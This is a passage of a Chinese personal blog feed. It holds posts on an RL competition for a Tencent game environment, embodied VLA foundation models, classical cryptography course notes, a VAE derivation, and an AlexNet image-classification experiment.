&lt;p&gt;[4] Deheng Ye, Zhao Liu, Mingfei Sun, Bei Shi, Peilin Zhao, Hao Wu, Hongsheng Yu, Shaojie Yang, Xipeng Wu, Qingwei Guo, Qiaobo Chen, Yinyuting Yin, Hao Zhang, Tengfei Shi, Liang Wang, Qiang Fu, Wei Yang, Lanxiao Huang. Mastering Complex Control in MOBA Games with Deep Reinforcement Learning. AAAI 2020. https://arxiv.org/abs/1912.09729&lt;/p&gt;
&lt;p&gt;[5] Deheng Ye et al. Towards Playing Full MOBA Games with Deep Reinforcement Learning. NeurIPS 2020. https://arxiv.org/abs/2011.12692&lt;/p&gt;
&lt;p&gt;[6] Shengyi Huang et al. Honor of Kings Arena: an Environment for Generalization in Competitive Reinforcement Learning. NeurIPS Datasets and Benchmarks 2022. https://arxiv.org/abs/2209.08483&lt;/p&gt;
&lt;p&gt;[7] John Schulman, Filip Wolski, Prafulla Dhariwal, Alec Radford, Oleg Klimov. Proximal Policy Optimization Algorithms. arXiv:1707.06347, 2017. https://arxiv.org/abs/1707.06347&lt;/p&gt;
&lt;p&gt;[8] John Schulman, Philipp Moritz, Sergey Levine, Michael Jordan, Pieter Abbeel. High-Dimensional Continuous Control Using Generalized Advantage Estimation. ICLR 2016. https://arxiv.org/abs/1506.02438&lt;/p&gt;
&lt;p&gt;[9] OpenAI, Christopher Berner, Greg Brockman, Brooke Chan, Vicki Cheung, et al. Dota 2 with Large Scale Deep Reinforcement Learning. arXiv:1912.06680, 2019. https://arxiv.org/abs/1912.06680&lt;/p&gt;
&lt;p&gt;[10] Andrew Y. Ng, Daishi Harada, Stuart Russell. Policy Invariance Under Reward Transformations: Theory and Application to Reward Shaping. ICML 1999. https://ai.stanford.edu/~ang/papers/shaping-icml99.pdf&lt;/p&gt;
&lt;p&gt;[11] Zifeng Zhuang, Kun Lei, Jinxin Liu, Donglin Wang, Yilang Guo. Behavior Proximal Policy Optimization. ICLR 2023. https://arxiv.org/abs/2302.11312&lt;/p&gt;
&lt;p&gt;[12] 腾讯开悟官方资料. 智能体决策算法 2022-2025 年获奖团队技术方案汇编.&lt;/p&gt;
&lt;p&gt;[13] Sanmit Narvekar, Bei Peng, Matteo Leonetti, Jivko Sinapov, Matthew E. Taylor, Peter Stone. Curriculum Learning for Reinforcement Learning Domains: A Framework and Survey. JMLR 2020. https://arxiv.org/abs/2003.04960&lt;/p&gt;</content:encoded><h:img src="/_astro/image.DvPRJ7do.png"/><enclosure url="/_astro/image.DvPRJ7do.png"/></item><item><title>StarVLA：统一的 VLA Infra</title><link>https://blog.candlest.cc/blog/robotic/starvla</link><guid isPermaLink="true">https://blog.candlest.cc/blog/robotic/starvla</guid><description>控制变量，得到干净结论。提高抽象，遇见统一理论。</description><pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;EAI 的 Foundation Model&lt;/h2&gt;
&lt;p&gt;现在还没有成熟的、原生的、GPT 级别的具身基座；但已经有一批早期具身 foundation model 雏形。它们目前大多依赖 VLM/VM/video model 的预训练先验，通过 action expert、world model、co-training 和 post-training 把这些先验迁移到机器人控制里。&lt;/p&gt;
&lt;p&gt;不管是 VLM as backbone 还是 WM as backbone，都可以被统一成：&lt;/p&gt;
&lt;p&gt;$$
\pi(a_{t:t+k}, y_{aux} \mid x_{\leq t}, l)
$$&lt;/p&gt;
&lt;p&gt;其中输入的 $x_{\leq t}$ 是过去的观测，$l$ 是语言指令，&lt;/p&gt;
&lt;p&gt;输出的 $a_{t:t+k}$ 是动作， $y_{aux}$ 是可选的，辅助生成的信息。&lt;/p&gt;
&lt;p&gt;训练目标：&lt;/p&gt;
&lt;p&gt;$$
L = L_{action} + L_{aux}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;VLA 继承了 VLM 的语义先验，强在开放词汇、指令理解和 web knowledge；WAM/VA 继承了视频模型的时空动力学先验，强在未来状态预测、视觉鲁棒性和长程历史。它们借用了不同 foundation model 的先验，并把机器人动作接口接在了不同位置。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;从配置文件开始&lt;/h2&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>26腾讯开悟RL赛区域初赛记录</title><link>https://blog.candlest.cc/blog/ai/kaiwu/gorge_chase</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/kaiwu/gorge_chase</guid><description>虽然初赛急头白脸调了两周参但是最终还是使用了最初的方案，但是还是辛苦我自己了。</description><pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;未完成，不代表最终质量。同时有大量的实验数据没有收集或者整理。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;最终成绩&lt;/h2&gt;
&lt;p&gt;第一次周赛，评测配置为 B500S700，QL 同学在周日的会议提出考虑引入 CNN（以及一些 SLAM 的想法），其他两位同学也提出了一些 insight。我将其实践，在第一次周赛拿到了 1300 分第五名的成绩。&lt;/p&gt;
&lt;p&gt;第二次周赛，评测配置为 B300S500，QL 同学主张生存优先，宝箱其后，训练出了能够拿到满分的模型。我们在第二次周赛拿到了 1800 分第二名的成绩。&lt;/p&gt;
&lt;p&gt;队友各自都有着重要的事情要做。但是我算是第一次实践这种 On-policy 的训练，感到非常新鲜。同时过往一段时间的 VLA 的学习也让我对在赛题环境中进行一些尝试有更多的兴趣，所以我一直在尝试一些新的想法，虽然我们没有关注到第三第四次周赛时评测环境逐步高压，保持通关已经是不可能，从而走了错误的优化方向，在注意到最终评测是 B100S300 后只是匆匆微调了一下 QL-v1 模型，最终只取得了中部赛区 10% 的入围成绩。&lt;/p&gt;
&lt;p&gt;但是，我觉得这个过程还是非常有意义的。&lt;/p&gt;
&lt;h2&gt;赛题介绍&lt;/h2&gt;
&lt;p&gt;去年的任务是在地图里面尽量找到更多宝箱并更快到达终点。官方默认 agent template 是 dpn 算法。&lt;/p&gt;
&lt;p&gt;今年的任务是在地图里两只怪物的高压追逐上尽量达到生存分数的最优：&lt;/p&gt;
&lt;p&gt;$$
\text{score} = 1.5 \times \text{steps} + 100 \times \text{chase}
$$&lt;/p&gt;
&lt;p&gt;官方默认使用两层 mlp 的 ppo 算法。在默认配置（300 步生成第二只怪，500 步怪物狂暴，接下来我们采用 B300S500 表示这类环境配置）下取得了 600 分的成绩。&lt;/p&gt;
&lt;p&gt;默认 agent pipeline 如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;原始游戏数据
    ↓
[observation / feature] ← preprocessor.py + definition.py
    ↓
[model] ← model.py（神经网络，输出动作和价值）
    ↓
[action] ← 从模型输出里采样得到实际动作
    ↓
[environment] ← 游戏执行动作，返回 reward
    ↓
[sample] ← 把一步步数据打包成训练样本
    ↓
[algorithm] ← algorithm.py（计算损失，更新参数）
    ↓
[workflow] ← train_workflow.py（把所有模块串起来）
    ↓
[agent] ← agent.py（对外接口，kaiwudrl 框架调用的入口）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;特征工程&lt;/h2&gt;
&lt;p&gt;第一周，我们主要在做特征工程。&lt;/p&gt;
&lt;p&gt;官方的初始特征只用到了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;英雄局部状态&lt;/li&gt;
&lt;li&gt;两只怪物的局部信息&lt;/li&gt;
&lt;li&gt;局部地图的一小块&lt;/li&gt;
&lt;li&gt;前 8 维合法动作&lt;/li&gt;
&lt;li&gt;episode 是否结束&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;没有用到的是环境提供的视野范围（$21 \times 21$），得分信息，观测信息和额外信息。&lt;/p&gt;
&lt;p&gt;我们有理由相信，增加特征能够提高模型的表现。同时我们也必须考虑到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;特征该如何进行预处理？&lt;/li&gt;
&lt;li&gt;用怎样的先验结构才能利用好这些特征？&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;模型设计&lt;/h2&gt;
&lt;p&gt;我们尝试了 CNN 和 RNN 的结合来处理视觉信息和时间序列信息。&lt;/p&gt;
&lt;p&gt;CNN 取得了很大的成功，但是 RNN 的收敛速度显著慢于 CNN，甚至在某些环境配置下完全不收敛。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;此外最重要的，初赛只允许在 windows/mac pc 上进行训练而不能用服务器，我们没有那么大的算力和数据（纯 RL）去 scaling。&lt;/strong&gt; 这一点我第二周才意识到。&lt;/p&gt;
&lt;h2&gt;训练环境&lt;/h2&gt;
&lt;p&gt;最终的评测是 12 张地图，而我们在训练环境和赛中四次周赛都只能看到 10 张地图。&lt;/p&gt;
&lt;p&gt;去年的选手马可波罗认为，为了观测模型是否过拟合，应该在训练环境里保留一些地图不让模型看到。我们在第一周也采用了这个策略，保留了两张地图不参与训练，而是作为测试集来评测模型的泛化能力。&lt;/p&gt;
&lt;p&gt;在初赛并不具有明显意义，可能是因为我们的训练时长没有到达要担心过拟合的程度，或者是因为我们没有采用过于复杂的模型来导致过拟合。&lt;/p&gt;
&lt;h2&gt;RL 算法&lt;/h2&gt;
&lt;h3&gt;Reward 设计&lt;/h3&gt;
&lt;p&gt;我坚决认为，我们的 Reward 需要和最终的 Score 优化目标对齐。&lt;/p&gt;
&lt;p&gt;在早期为了防止模型因为惩罚过重，奖励系数而变得过于保守，我们在 reward 里面加入了探索奖励。&lt;/p&gt;
&lt;p&gt;同时，我们为了引导模型吃到稀疏的奖励（宝箱），我们在 reward 里面加入了趋向宝箱的稠密奖励。&lt;/p&gt;
&lt;p&gt;这些奖励在早期确实帮助模型学会了基本的生存技能和吃到宝箱的能力，但是在后期我们发现，这些奖励不适合乱加，我们的先验可能并没有考虑到所有的情况，模型在不健全的 reward 下会有 reward hacking 的风险。&lt;/p&gt;
&lt;p&gt;出于以上原因，我先后引入了 SIL 自模仿学习和 Risk-Constrained RL 给 Actor-Critic 加入了一个 risk 预测头。&lt;/p&gt;
&lt;h3&gt;SIL 自模仿学习&lt;/h3&gt;
&lt;p&gt;对于简单的 mlp + ting CNN 效果不明显，但是对于较大的 RNN 模型，能够显著加快早期训练速度。&lt;/p&gt;
&lt;p&gt;一个显著的好处是，SIL 能够让模型在早期快速学会一些离散稀疏奖励的技能，比如说吃到宝箱的能力。&lt;/p&gt;
&lt;p&gt;但是实际上，我们做游戏 RL 是在不停 rollout 发掘上限，而不是像 VLA 那样去提升下限。 SIL 并不适合我们这种场景，因为它会让模型过于依赖之前的经验，导致模型在后期很难突破局部最优。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最终加上了退火，甚至选择放弃它。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;multi value heads&lt;/h3&gt;
&lt;p&gt;如果撤掉所有非 score 相关奖励，模型很快就会陷入到疯狂吃宝箱但是不注重生存的局面，是高压阶段生存难度大的主要原因。&lt;/p&gt;
&lt;p&gt;为此，我们在 Actor-Critic 模型的基础上加入了一个 risk 预测头，来预测当前状态下被怪物追上的短期风险。&lt;/p&gt;
&lt;p&gt;然而这个 risk 预测头到底该预测什么？是被追上的概率？还是被追上的时间？还是被追上的分数损失？&lt;/p&gt;
&lt;p&gt;以及我们要对多久之后的局面负责？是 10 步之后？还是 20 步之后？还是更长时间之后？GAE 的 lambda 是多少？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在初赛简单的场景下，risk head 并没有产生很好的优势，反而抑制了宝箱的获取。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;PPO-Clip 调参&lt;/h3&gt;
&lt;p&gt;PPO 的核心是一个 clipped surrogate objective：&lt;/p&gt;
&lt;p&gt;$$
L^{CLIP}(\theta) = \hat{\mathbb{E}}_t \left[ \min \left( r_t(\theta) \hat{A}_t, \text{clip}(r_t(\theta), 1 - \epsilon, 1 + \epsilon) \hat{A}_t \right) \right]
$$&lt;/p&gt;
&lt;p&gt;其中 $r_t(\theta) = \frac{\pi_\theta(a_t|s_t)}{\pi_{\theta_{old}}(a_t|s_t)}$ 是当前策略和旧策略的概率比，$\hat{A}_t$ 是优势函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;初赛默认的 CLIP 参数是 0.1，我在卡在高压临界时间点的时候把它调到了 0.2，能够稍微加快探索。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;可观测性指标&lt;/h2&gt;
&lt;p&gt;最终的评测分数只和平均数有关，然而我们在训练过程中发现，平均数并不能全面体现一个 model 的表现。&lt;/p&gt;
&lt;p&gt;e.g. 一个被我训崩了的 LSTM 模型，平均分在 B300S500 环境下只有 1000 分出头，但是实际上它分数低主要是因为高短死率，训了 45000 步仍然保持着 20% 以上的高短死率，虽然有 10% 的 1600 分样本，但是一但到了平均就全部被短死拉下去了。&lt;/p&gt;
&lt;p&gt;所以我引入了 p40 p60 p80 这三个指标来分别衡量模型在不同分数段的表现，来更全面地评估模型的表现。&lt;/p&gt;
&lt;p&gt;其实应该不太够来着，我们应该用一些统计学里面被广泛验证过的指标来评估模型的表现。&lt;/p&gt;
&lt;p&gt;甚至，训练一些模型来打分？&lt;/p&gt;
&lt;p&gt;可观测性是为了我们建立对 policy 质量的直观理解，来指导我们后续的模型设计和训练。&lt;/p&gt;</content:encoded><h:img src="/_astro/hok.CNQKnIiD.png"/><enclosure url="/_astro/hok.CNQKnIiD.png"/></item><item><title>现代密码学理论 I：古典密码学</title><link>https://blog.candlest.cc/blog/course/crypto</link><guid isPermaLink="true">https://blog.candlest.cc/blog/course/crypto</guid><description>真要补一补培养方案内内容了。</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;密码学的理论考试是允许携带资料的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;半开卷，可以携带一张 A4 纸大小的参考资料入场考试（正反两面）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们的笔记为此准备着。&lt;/p&gt;
&lt;h2&gt;课程简介与古典密码&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/assign.D31Ao571_dPWKR.webp&quot; alt=&quot;安排&quot;&gt;&lt;/p&gt;
&lt;h3&gt;柯克霍夫原则 in Private-Key Encryption&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;柯克霍夫原则：密码方案的安全性不应以算法保密为前提，即使落入敌人手中，也不应对系统安全性造成任何不利影响。
Kerckhoffs&apos;s principle：The cipher method must not be required to be secret, and it must be able to fall into the hands of the enemy without inconvenience.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;密钥保密比算法保密更容易。&lt;/li&gt;
&lt;li&gt;泄露的密钥比泄露的算法更容易替换。&lt;/li&gt;
&lt;li&gt;方便对加密方案进行标准化。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;古典密码及其密码分析&lt;/h3&gt;
&lt;p&gt;在学习它们的过程中提出密码学的一些核心原则。&lt;/p&gt;
&lt;h4&gt;Caesar&apos;s Cipher&lt;/h4&gt;
&lt;h2&gt;完美保密加密机制&lt;/h2&gt;</content:encoded><h:img src="/_astro/crypto.8yReWuqh.png"/><enclosure url="/_astro/crypto.8yReWuqh.png"/></item><item><title>VAE：潜空间与生成式模型</title><link>https://blog.candlest.cc/blog/ai/vae</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/vae</guid><description>潜在表明（Senzaihyoumei）</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;问题引入&lt;/h2&gt;
&lt;p&gt;假如我们现在有一个 $100 \times 100 \times 3$ 自由度的 RGB 图像空间，现在想在这张画布上生成一只猫的图片，该怎么做？&lt;/p&gt;
&lt;p&gt;换成数学语言就是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在一个 $100 \times 100 \times 3$ 的空间中，找到一个点，使得这个点对应的图像是一只猫。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;更进一步：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在一个 $d$ 维空间里，按照目标分布 $p_{\text{data}}(x)$ 的指引进行采样，使得我们采样出来的向量恰好表示一只猫的图像。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个问题，我们可以形式化为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们给定真实数据分布 $p_{\text{data}}(x)$，目标是学习一个模型分布 $p_\theta(x)$，使得 $p_\theta(x)$ 能尽可能逼近 $p_{\text{data}}(x)$，从中采样出符合要求的图像。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在 VAE 之前，生成式模型主要面临着如下问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;训练这类模型一直是机器学习领域的一个长期难题，传统上大多数方法都存在以下三个严重缺陷之一：[^2]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它们可能需要对数据结构做出强假设。&lt;/li&gt;
&lt;li&gt;它们可能采用过于粗略的近似，导致模型效果欠佳。&lt;/li&gt;
&lt;li&gt;它们可能依赖计算成本高昂的推断过程，如马尔可夫链蒙特卡洛方法。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;NN 的快速发展让 NN 作为高效的函数逼近器成为可能，VAE 引入变分贝叶斯方法和「最小描述长度」编码模型，为彼时的生成式模型翻开了新的一页。&lt;/p&gt;
&lt;h2&gt;模型结构&lt;/h2&gt;
&lt;p&gt;我们可以从 Pytorch 官方的最小样例中找到一份 VAE 生成手写数字的代码。&lt;a href=&quot;%5Bpytorch/examples/blob/main/vae/main.py%5D(https://github.com/pytorch/examples/blob/main/vae/main.py)&quot;&gt;^1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/vae.Cs6iUU72_kydeA.webp&quot; alt=&quot;vae&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x
│
├── Encoder
│    ├── Linear / Conv
│    ├── ReLU
│    ├── Linear / Conv
│    ├── ReLU
│    └── shared hidden feature h
│
├── From h:
│    ├── Linear -&gt; μ
│    └── Linear -&gt; logvar
│
├── Sample:
│    ├── std = exp(0.5 * logvar)
│    ├── ε ~ N(0, I)
│    └── z = μ + std * ε
│
├── Decoder
│    ├── Linear / Deconv
│    ├── ReLU
│    ├── Linear / Deconv
│    ├── ReLU
│    └── Output layer
│
└── x_hat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和传统自编码器（AE）对比：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/ae.BvXfzr98_ZDuK8x.webp&quot; alt=&quot;ae&quot;&gt;&lt;/p&gt;
&lt;p&gt;AE 将输入映射为潜空间中的一个点，VAE 将输入映射为潜空间中一个高斯分布的参数（$\mu$ 和 $\sigma$），通过采样产生隐变量。[^3]&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/manifold.DN6dwOLK_2ugWlf.webp&quot; alt=&quot;manifold.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;这样，VAE 允许在潜空间采样并生成全新的样本。&lt;/p&gt;
&lt;h2&gt;Latent Variable Models&lt;/h2&gt;
&lt;p&gt;真实世界往往过于复杂，难以直接建模。引入潜变量 $z$ 之后，我们尝试把复杂的数据分布 $p(x)$ 分解为：&lt;/p&gt;
&lt;p&gt;$$
p(x) = \int p(x,z) dz = \int p(x|z) p(z) dz
$$&lt;/p&gt;
&lt;p&gt;这里，$p(z)$ 是潜空间的先验，$p_\theta(x \mid z)$ 是给定潜变量生成数据的条件分布，$q_\phi(z \mid x)$ 是用于近似后验的推断分布。
在 VAE 中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decoder 实现 $p_\theta(x|z)$，生成数据&lt;/li&gt;
&lt;li&gt;Encoder 学习近似后验分布 $q_\phi(z|x)$，辅助训练与推断&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简记流程：&lt;/p&gt;
&lt;p&gt;$$
z \sim p(z) \quad \to \quad x \sim p_\theta(x|z)
$$&lt;/p&gt;
&lt;p&gt;其中，$p(z)$ 通常取标准正态。&lt;/p&gt;
&lt;h2&gt;Reparameterization Trick（重参数化）&lt;/h2&gt;
&lt;p&gt;「sample」这个步骤是不可微的，所以我们无法通过反向传播来更新 encoder 的参数。&lt;/p&gt;
&lt;p&gt;VAE 的解决方案是 reparameterization trick：&lt;/p&gt;
&lt;p&gt;$$
z = \mu + \sigma \odot \epsilon, \quad \epsilon \sim \mathcal{N}(0, I)
$$&lt;/p&gt;
&lt;p&gt;每次正向传播时，我们先从一个标准正态分布中采样 $\epsilon$，然后反向传播时，我们可以通过链式法则来计算 $\mu$ 和 $\sigma$ 的梯度。有点像 dropout 的反向传播处理方法。&lt;/p&gt;
&lt;h2&gt;Loss（Evidence Lower Bound, ELBO）&lt;/h2&gt;
&lt;p&gt;我们训练 VAE 的时候，怎么保证两个 FC 学到的就是 $\mu$ 和 $\log \sigma^2$？&lt;/p&gt;
&lt;p&gt;对于经典 VAE：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x → Encoder → h →
                 ├── fc_mu → μ
                 └── fc_logvar → logσ²
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并没有一个明确的结构硬保证。&lt;/p&gt;
&lt;p&gt;所以关键不在结构，而在 loss 怎么约束它们。&lt;/p&gt;
&lt;p&gt;我们知道，$\mu$ 和 $\log \sigma^2$ 建模的是 $q_\phi(z \mid x)$，用来近似真实后验 $p_\theta(z \mid x)$。&lt;/p&gt;
&lt;p&gt;$$
\log p_\theta(x) = \log \int p_\theta(x|z) p(z) dz
$$&lt;/p&gt;
&lt;p&gt;乘以 $\frac{q_\phi(z|x)}{q_\phi(z|x)}$：&lt;/p&gt;
&lt;p&gt;$$
= \log \mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right]
$$&lt;/p&gt;
&lt;p&gt;由 Jensen 不等式（$\log$ 是凹函数，$\log \mathbb{E}[Y] \geq \mathbb{E}[\log Y]$）：&lt;/p&gt;
&lt;p&gt;$$
\geq \mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \log \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right]
$$&lt;/p&gt;
&lt;p&gt;拆开：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \log \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right] = \underbrace{\mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} [\log p_\theta(x|z)]}&lt;em&gt;{\text{重建项}} - \underbrace{D&lt;/em&gt;{KL}(q_\phi(z|x) | p(z))}_{\text{KL 项}}
$$&lt;/p&gt;
&lt;p&gt;重建项最大化在 latent $z$ 下生成原数据 $x$ 的概率。重建误差会鼓励 decoder 生成逼近输入的样本。&lt;/p&gt;
&lt;p&gt;KL 项保证 latent 空间规整且可采样。它衡量近似后验与先验的距离，防止潜空间过拟合。&lt;/p&gt;
&lt;p&gt;这两项共同构成 VAE 的损失函数，约束 $\mu$ 和 $\log \sigma^2$ 的学习。&lt;/p&gt;
&lt;h2&gt;其他参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV17q9uBxEpo&quot;&gt;温和的走进生成式AI【从VAE到Flow Matching】&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;[^2]: &lt;a href=&quot;https://arxiv.org/abs/1606.05908&quot;&gt;Tutorial on Variational Autoencoders&lt;/a&gt;
[^3]: &lt;a href=&quot;https://towardsdatascience.com/vae-variational-autoencoders-how-to-employ-neural-networks-to-generate-new-images-bdeb216ed2c0/&quot;&gt;VAE: Variational Autoencoders – How to Employ Neural Networks to Generate New Images&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/manifold.DN6dwOLK.png"/><enclosure url="/_astro/manifold.DN6dwOLK.png"/></item><item><title>AlexNet： 记图像分类的一次实验</title><link>https://blog.candlest.cc/blog/ai/alexnet</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/alexnet</guid><description>由实验报告延伸而来</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;创新实践课程着实是一门大水课，但是沈力老师着实是一位很有激情的老师。&lt;/p&gt;
&lt;p&gt;虽然这是一门水课，但是我记起来一句话，记得是大一在华工转专业群的一位学长口中听到的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;水课的意义就是让你知道有这么一个东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那好，我现在正缺少深度学习的密集实践。借助这门课的机会，尝试在实践中让枯燥漂浮的理论变得生动接地气起来。&lt;/p&gt;
&lt;h2&gt;AlexNet 如何让 NN 再次伟大&lt;/h2&gt;
&lt;p&gt;人工特征统治了世界太久，却没有人发掘 GPU 里面日益增长的算力的价值。AlexNet 用扎实的工程功底针对「让一个超大网络能被训练」这个问题做了很多创新的模型设计，并运用了很多训练技巧。&lt;/p&gt;
&lt;p&gt;AlexNet 证明了“深度 + 数据 + 计算”，后续工作只是不断逼近这个范式的极限。&lt;/p&gt;
&lt;h2&gt;模型总览&lt;/h2&gt;
&lt;p&gt;在最初的 AlexNet 论文[^1]里面，网络结构是基于 LeNet 并妥协了当时尚未成熟的 DNN 软硬件件环境（比如卡均显存很小，只有原始的 CUDA C++ 加速库）而设计的。AlexNet 的网络结构如下图所示[^2]：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/alex2012.Cq96t-m-_1q6dMY.webp&quot; alt=&quot;alex2012&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于历史时代限制，AlexNet 的网络结构设计中包含了很多妥协/在今天看来多余、不必要的设计，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$11 \times 11$ 大卷积 + $stride=4$&lt;/li&gt;
&lt;li&gt;LRN（局部响应归一化）&lt;/li&gt;
&lt;li&gt;分组卷积（因为单卡放不下）&lt;/li&gt;
&lt;li&gt;强依赖 FC（$4096 \times 2$）&lt;/li&gt;
&lt;li&gt;手写 CUDA 实现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在不需要为软硬件做出大量妥协的今天，AlexNet 被深度学习界的前辈们还原成了一个「干净的 CNN baseline」：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zh.d2l.ai/_images/alexnet.svg&quot; alt=&quot;LeNet（左）到AlexNet（右）¶&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是经典的：$(Conv + Pool) ×2 + Conv ×3 + FC ×3$
两层 &lt;code&gt;Conv → ReLU → Pool&lt;/code&gt; 构成了特征提取器，三层 &lt;code&gt;FC → ReLU&lt;/code&gt; 构成了分类器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Input
→ Conv1 → ReLU → MaxPool
→ Conv2 → ReLU → MaxPool
→ Conv3 → ReLU
→ Conv4 → ReLU
→ Conv5 → ReLU → MaxPool
→ Flatten
→ FC → ReLU → Dropout
→ FC → ReLU → Dropout
→ FC → Softmax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/alexnet.DPlNgaJ8_kLIyr.webp&quot; alt=&quot;Modernized AlexNet¶&quot;&gt;&lt;/p&gt;
&lt;h3&gt;特征提取器&lt;/h3&gt;
&lt;p&gt;在输入进入 pipeline 的前期，经过了两层 &lt;code&gt;Conv → ReLU → Pool&lt;/code&gt; 结构，其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Conv&lt;/code&gt; 的作用是提取局部特征，保留位置信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReLU&lt;/code&gt; 的作用是引入非线性，具有非线性激活函数的网络可以逼近任意连续函数[^3]。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pool&lt;/code&gt; 的作用是降低特征图的分辨率（下采样），模糊位置信息，减少计算量，也就是信息压缩。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;分类器&lt;/h3&gt;
&lt;p&gt;丰富的多频道特征在 pipeline 的中期（&lt;code&gt;flatten&lt;/code&gt;）被压缩成了一个一维的特征向量，进入了后续的三层 &lt;code&gt;FC → ReLU&lt;/code&gt; 结构，开始逐步降维。&lt;/p&gt;
&lt;p&gt;MLP 理论上有能够学习任何函数的能力，在这里三层恰好是一个平衡表现能力和计算效率（收敛难度）的选择。&lt;/p&gt;
&lt;p&gt;这里在 FC 层后面还加了 Dropout 正则化，来防止过拟合。（后面会介绍 Dropout 的原理和作用）&lt;/p&gt;
&lt;h3&gt;pipeline 可视化&lt;/h3&gt;
&lt;p&gt;为进一步观察最优模型的中间表征与判别区域，选取验证集中的一张 daisy 样本，对最优权重 augment_weight_decay 进行特征图与 Grad-CAM 可视化。该样例最终预测类别为 daisy，预测置信度为 1.0000。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/daisy.CVxU7sAx_Z1FjoVe.webp&quot; alt=&quot;最优模型对 daisy 样本的中间层特征图可视化&quot;&gt;&lt;/p&gt;
&lt;p&gt;上图展示了输入图像以及 5 个卷积层中激活最强的部分通道。该可视化反映了 AlexNet 从浅层局部纹理到深层高阶语义表征的逐级抽象过程，也说明最优模型在该样本上能够形成较稳定的层级特征响应。&lt;/p&gt;
